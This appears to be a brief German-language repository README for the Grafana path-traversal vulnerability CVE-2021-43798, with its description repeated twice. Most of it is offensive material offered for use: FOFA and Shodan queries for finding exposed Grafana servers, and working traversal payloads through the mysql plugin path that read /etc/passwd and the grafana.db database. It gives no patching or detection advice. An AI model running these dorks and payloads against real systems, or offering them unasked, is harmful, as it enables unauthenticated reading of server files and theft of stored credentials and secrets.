0xf3d0rq/cve-2021-43798
CVE-2021-43798 ist eine Path-Traversal-Schwachstelle mit hohem Schweregrad (CVSS 3.1-Score: 7.5), die Grafana-Versionen 8.0.0-beta1 bis 8.3.0 betrifft. Sie ermöglicht nicht authentifizierten Angreifern, beliebige Dateien vom Server zu lesen, indem die unsachgemäße Bereinigung im /public/plugins/:pluginId-Endpunkt ausgenutzt wird.
CVE-2021-43798 ist eine hochriskante Path-Traversal-Schwachstelle (CVSS 3.1-Wertung: 7.5), die Grafana-Versionen 8.0.0-beta1 bis 8.3.0 betrifft. Sie ermöglicht nicht authentifizierten Angreifern, beliebige Dateien vom Server auszulesen, indem sie eine unzureichende Bereinigung im Endpunkt /public/plugins/:pluginId ausnutzen.
dork :
fofa : title="Grafana" && port="3000" shodan : http.title:"Grafana" port:3000
payload :
/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd /public/plugins/mysql/../../../../../../../../../../../../etc/passwd /public/plugins/mysql/../../../../../../../../../../../../var/lib/grafana/grafana.db /public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fgrafana%2Fgrafana.db
